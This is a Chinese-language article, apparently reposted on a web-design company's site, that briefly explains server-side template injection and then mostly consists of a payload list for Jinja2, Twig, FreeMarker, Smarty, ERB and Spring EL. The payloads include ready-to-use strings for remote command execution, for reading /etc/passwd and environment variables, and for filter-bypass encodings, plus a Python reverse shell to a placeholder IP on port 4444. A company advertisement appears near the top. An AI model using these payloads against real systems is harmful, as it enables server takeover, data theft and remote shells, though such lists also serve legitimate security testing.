SSTI-Payloads的示例分析

小编给大家分享一下SSTI-Payloads的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

为富川等地区用户提供了全套网页设计制作服务,及富川网站建设行业解决方案。主营业务为成都网站设计、成都网站建设、富川网站设计,以传统方式定制建设网站,并提供域名空间备案等一条龙服务,秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求,就会得到认可,从而选择与我们长期合作。这样,我们也可以走得更远!

SSTI-Payloads的示例分析

服务器端模板注入

所谓服务器端模板注入技术,指的是攻击者能够使用本机模板语法将Payload注入到一个模板之中,然后再在服务器端执行。服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点,除此之外SSTI 攻击还可以用来找出 Web 应用程序的内容结构。

根据技术设计实现,模板引擎能够结合固定模板和动态数据来生成特定的网页。如果用户的输入数据直接与模板内容相连接,而不是作为数据参数直接传入的话,就有可能发生服务器端模板注入攻击了。此时,攻击者将能够通过注入任意模板指令来对模板引擎进行恶意操作,一般来说,这将导致攻击者获取到目标网络服务器的完整控制权。也就是说,服务器端模板注入Payload需要在目标服务器上进行部署和使用,这将使它们比一般的客户端模板注入漏洞更加严重。

漏洞影响

服务器端模板注入漏洞会使网站面临各种攻击和安全风险,具体取决于所讨论的模板引擎以及应用程序如何使用它。在某些罕见的情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务器端模板注入的影响可能是灾难性的。

如果在某些严重情况下,攻击者可以在目标服务器上实现远程代码执行,完全控制后端服务器,并使用它来对网络内部基础结构执行下一步攻击。

即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务器端模板注入作为许多其他攻击的跳板,从而可能获得对服务器上敏感数据和任意文件的读取访问权限。

Payload集

{{2*2}}[[3*3]]

{{3*3}}

{{3*'3'}}

<%= 3 * 3 %>

${6*6}

${{3*3}}

@(6+5)

#{3*3}

#{ 3 * 3 }

{{dump(app)}}

{{app.request.server.all|join(',')}}

{{config.items()}}

{{ [].class.base.subclasses() }}

{{''.class.mro()[1].subclasses()}}

{{ ''.__class__.__mro__[2].__subclasses__() }}

{% for key, value in config.iteritems() %}
{{ key|e }}
{{ value|e }}
{% endfor %} {{'a'.toUpperCase()}} {{ request }} {{self}} <%= File.open('/etc/passwd').read %> <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} {{app.request.query.filter(0,0,1024,{'options':'system'})}} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {$smarty.version} {php}echo `id`;{/php} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Payload下载

广大研究人员可以使用下列命令将现有Payload集克隆至本地(HTTPS):

root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git

广大研究人员可以使用下列命令将现有Payload集克隆至本地(SSH):

root@ismailtasdelen:~# git clone git@github.com:payloadbox/ssti-payloads.git

以上是“SSTI-Payloads的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注创新互联行业资讯频道!


网站栏目:SSTI-Payloads的示例分析
标题网址:http://scjbc.cn/article/pjchge.html

其他资讯